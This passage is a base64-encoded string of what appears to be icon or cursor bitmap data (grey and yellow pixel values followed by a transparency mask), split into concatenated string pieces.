S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0t0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLDEtL + S+pLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL20tLSwQAAAAA3c1uAN3NbrTdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93NbuHdzW4HAAAAAEtLSwZLS0vfS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S+lLS0sLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t3S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0thAAAAAAAAAADdzW4z3c1u/t3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbmgAAAAAAAAAAEtL + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS3UAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLDEtL + S+tLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL3UtLSwUAAAAAAAAAAN3NbrDdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u4N3NbgYAAAAAS0tLBktLS+BLS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL6UtLSwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t4S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tjAAAAAAAAAADdzW4w3c1u/t3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uZwAA + AAAAAAAAS0tLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLdgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLDUtL + S+tLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL30tLSwYAAAAAAAAAAN3NbqzdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7g3c1uBgAAAABLS0sHS0tL4EtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0vqS0tLDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t5S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL9ktL + S6ZLS0szAAAAAAAAAADdzW4C3c1up93Nbu7dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u993N + brrdzW4hAAAAAAAAAABLS0s0S0tLpktLS/dLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0t3AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLDktL + S+xLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL00tLS29LS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3c1uBt3N + bkHdzW6N3c1u2N3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7l3c1unN3NblHdzW4OAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLFEtL + S3BLS0vUS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+tLS0sNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t7S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v0S0tLnktLSzpLS0sBAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4B3c1uJd3NbnDdzW683c1u+d3N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/d3NbsjdzW5+3c1uM93NbgIAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwFLS0s6S0tLn0tLS/RLS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLDktL + S+1LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/5LS0vMS0tLaEtLSw4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4O3c1uVN3Nbp/dzW7o3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7v3c1uqt3N + bl/dzW4WAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLD0tLS2lLS0vNS0tL/ktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL60tLSw0AAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t8S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+9LS0uWS0tLMktLSwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbgPdzW433c1ug93Nbs7dzW793c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/t3NbtbdzW6M3c1uQd3NbgYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SwBLS0szS0tLl0tLS/BLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLegAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLD0tL + S+1LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/ktLS8VLS0tgS0tLCwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3s5vAN3N + bh3dzW5m3c1ust3NbvTdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW723c1uuN3Nbm3dzW4j3c1uAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLDEtLS2FLS0vFS0tL/ktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0vsS0tLDgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t9S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL7EtLS45LS0srS0tLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3c1uCt3NbkrdzW6W3c1u4N3N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbuTdzW6a3c1uT93N + bgwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwBLS0ssS0tLj0tLS+xLS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0t7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLEEtL + S+5LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v9S0tLvUtLS1hLS0sHAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4B3c1uLd3NbnndzW7E3c1u+93Nbv/dzW7/3c1u/93N + bv/dzW783c1uxt3NbnvdzW4x3c1uAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLCEtLS1lLS0u+S0tL/UtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+1LS0sOAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t+S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0vmS0tLh0tL + SyQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAADdzW4V3c1uXd3NbqjdzW6o3c1uXd3NbhYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0slS0tLiEtL + S+ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS3wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLEEtL + S+5LS0v/S0tL/0tLS/tLS0u1S0tLUUtLSwYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLBktLS1JLS0u2S0tL/EtLS/9LS0v/S0tL7UtL + Sw8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t/S0tL/0tLS+BLS0t/S0tLHgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABLS0sfS0tLgEtLS+FLS0v/S0tLfQAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLC0tL + S55LS0tJS0tLAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLA0tL + S0pLS0udS0tLCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////b////////////////////2////////////////////5n///////////////////8Y// + //////////////////GP///////////////////hh///////////////////4Yf///////////////// + /8GD///////////////////Bg///////////////////gYH//////////////////4GB//////////// + //////8BgP//////////////////AYD//////////////////gGAf/////////////////4BgH////// + ///////////8AYA//////////////////AGAP/////////////////gBgB/////////////////4AYAf + ////////////////8AGAD/////////////////ABgA/////////////////gAYAH//////////////// + 4AGAB////////////////8ABgAP////////////////AAYAD////////////////gAGAAf////////// + /////4ABgAH///////////////8AAYAA///////////////+AAGAAH///////////////gABgAB///// + //////////wAAYAAP//////////////8AAGAAD//////////////+AABgAAf//////////////gAAYAA + 